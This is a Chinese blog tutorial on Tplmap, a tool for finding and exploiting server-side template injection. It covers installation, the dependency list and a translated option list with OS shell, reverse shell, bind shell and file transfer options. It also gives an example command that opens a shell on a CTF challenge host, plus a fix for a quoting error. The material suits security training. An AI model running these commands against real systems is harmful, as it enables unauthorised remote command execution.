当前位置:首页 > 未分类 > 正文内容

Tplmap 使用

admin3年前 (2023-02-25)未分类129

工具简介

Tplmap 是一个 python 工具,可以通过使用沙箱转义技术找到代码注入和服务器端模板注入(SSTI)漏洞。该工具能够在许多模板引擎中利用 SSTI 来访问目标文件或操作系统。一些受支持的模板引擎包括 PHP(代码评估),Ruby(代码评估),JaveScript(代码评估),Python(代码评估),ERB,Jinja2 和 Tornado。该工具可以执行对这些模板引擎的盲注入,并具有执行远程命令的能力。

工具环境

  • Windows

  • Linux

Linux 下安装

在 kali 终端输入

git clone https://github.com/epinna/tplmap

如果没有 git 命令,则需要安装:

sudo apt-get install git

等待安装好后即可使用 git 了

Windows 下安装

可以直接打开 GitHub 地址来下载

https://github.com/epinna/tplmap

同样也可以使用 git 命令

git clone https://github.com/epinna/tplmap

目录内容如下

使用说明

需要在 python3 的环境下使用

在 tplmap 目录下有一个名为requirements.txt的文件,内容如下

PyYAML==5.1.2
certifi==2018.10.15
chardet==3.0.4
idna==2.8
requests==2.22.0
urllib3==1.24.1
wsgiref==0.1.2

以上就是 tplmap 所需要的库,该文本中标出了库名和版本号,我们可以使用 pip 命令来进行安装

进入 tplmap 的目录,用如下指令安装

pip install -r requirements.txt

典型用法

例:qsnctf 的一道 web 题目

https://www.qsnctf.com/challenges#Flask1-151

使用以下命令可以拿到 shell

python3 tplmap.py -u http://c240e4ee-9904-403f-8e55-65782f60e7b5.challenge.qsnctf.com:8081/? name=1 --os-shell

各个参数的意思

Usage: python tplmap.py [options]

选项:
 -h, --help          显示帮助并退出

目标:
 -u URL, --url=URL   目标 URL
 -X REQUEST, --re..  强制使用给定的HTTP方法 (e.g. PUT)

请求:
 -d DATA, --data=..  通过POST发送的数据字符串 它必须作为查询字符串: param1=value1&param2=value2
 -H HEADERS, --he..  附加标头 (e.g. 'Header1: Value1') 多次使用以添加新的标头
 -c COOKIES, --co..  Cookies (e.g. 'Field1=Value1') 多次使用以添加新的Cookie
 -A USER_AGENT, -..  HTTP User-Agent 标头的值
 --proxy=PROXY       使用代理连接到目标URL

检测:
 --level=LEVEL       要执行的代码上下文转义级别 (1-5, Default: 1)
 -e ENGINE, --eng..  强制将后端模板引擎设置为此值
 -t TECHNIQUE, --..  技术 R:渲染 T:基于时间的盲注 Default: RT

操作系统访问:
 --os-cmd=OS_CMD     执行操作系统命令
 --os-shell          提示交互式操作系统Shell
 --upload=UPLOAD     上传本地文件到远程主机
 --force-overwrite   上传时强制覆盖文件
 --download=DOWNL..  下载远程文件到本地主机
 --bind-shell=BIN..  在目标的TCP端口上生成系统Shell并连接到它
 --reverse-shell=..  运行系统Shell并反向连接到本地主机端口

模板检查:
 --tpl-shell         在模板引擎上提示交互式Shell
 --tpl-code=TPL_C..  在模板引擎中注入代码

常规:
 --force-level=FO..  强制将测试级别设置为此值
 --injection-tag=..  使用字符串作为注入标签 (default '*')

遇到的问题

C:\Users\xiniyi\Desktop\tplmap-master\tplmap-master
λ python3 tplmap.py -u 'http://c240e4ee-9904-403f-8e55-65782f60e7b5.challenge.qsnctf.com:8081/ ?name=11 *'--os-shell
Tplmap 0.5
   Automatic Server-Side Template Injection Detection and Exploitation Tool

Testing if GET parameter 'name' is injectable
Smarty plugin is testing rendering with tag '*'
Exiting: No connection adapters were found for "'http://c240e4ee-9904-403f-8e55-65782f60e7b5.challenge.qsnctf.com:8081/"

解决办法:将 url 所带的引号去掉

工具归属

项目地址:https://github.com/epinna/tplmap


扫描二维码推送至手机访问。

版权声明:本文由克拉玛依三十年社团发布,如需转载请注明出处。

本文链接:https://www.klmyssn.com/?id=62

分享给朋友:

“Tplmap 使用” 的相关文章

(原创)想学黑阔?这些书可以带你飞![web 安全书籍]

(原创)想学黑阔?这些书可以带你飞![web 安全书籍]

这些是我多年前收集的一些 web 安全相关书籍,虽当初未能坚持系统学习,但书籍本身质量较好,现分享给大家,希望能为想学 web 安全的朋友提供帮助!书籍资源获取百度云链接:http://pan.baidu.com/s/1jHVch9O提取密码:bauj...

(原创)求人不如求己 -- 剪辑音乐就是这么简单 [如何剪辑音乐]

(原创)求人不如求己 -- 剪辑音乐就是这么简单 [如何剪辑音乐]

每每到了学校有活动,需要播放歌曲时,QQ 就多几个好友,消息又 99+,不消问什么事情,就知道是找我剪辑歌曲的同学了。怎么说,我这人对别人提出的需求,都尽力去帮助的,在剪辑音乐这事情上,从没拒绝过,但年复一年,每次剪辑音乐其实很简单,但是量多,就比较影响自己时间了,我又不会拒绝别人,很是尴尬,所以在...

(原创)市教育局 web 渗透 — 市 OA 系统 [web 渗透实例][教育局网络安全][内网安全][内网渗透][oa 系统漏洞]

(原创)市教育局 web 渗透 — 市 OA 系统 [web 渗透实例][教育局网络安全][内网安全][内网渗透][oa 系统漏洞]

一、渗透前置说明(授权与免责)1. 授权声明本次渗透是在取得教育局网络第三方厂商(即时讯立维公司)授权许可之后进行的渗透测试。漏洞报告已第一时间交给教育局及第三方厂商,并协助厂商完成修补,至文章发布时,文中漏洞已修复。本文仅选取漏洞报告部分内容公开,完整漏洞报告模板存放于社团群内部。2. 免责申明请...

(原创)Powershell And Metasploit (上)

(原创)Powershell And Metasploit (上)

00x01 #题外话作者: 墨 (X_Al3r)即刻安全:www.secist.com十三年社团:www.klmyssn.com一篇不知道该用什么名字的文章!00x02 #什么是 PowershellPowerShell 一般指 Windows Power ShellPowershell 是 Mic...

(原创)空间可以查秘密了你们知道了嘛?

(原创)空间可以查秘密了你们知道了嘛?

一、前期准备:工具下载与安装1. 核心工具:蓝光安卓模拟器官网下载地址:https://www.bluestacks.cn/bdsem_anmnqpm.html用途:模拟安卓环境,用于登录 QQ 并访问空间小秘密(PC 端暂不支持直接查秘密,需借助模拟器)。2. 安装 QQ 应用打开蓝光安卓模拟器,...

带你挖掘文件包含漏洞之代码审计 #4 实战五个案例

带你挖掘文件包含漏洞之代码审计 #4 实战五个案例

在 PHP 安全中,文件包含漏洞是危害严重的漏洞!本文不再讲解基础概念,直接进入实战环节。一、文件包含漏洞挖掘要点核心关键字:require()、require_once()、include()、include_once()(注意:函数名中括号与参数间存在空格,效果相同);本次实战对象:CMS 系统...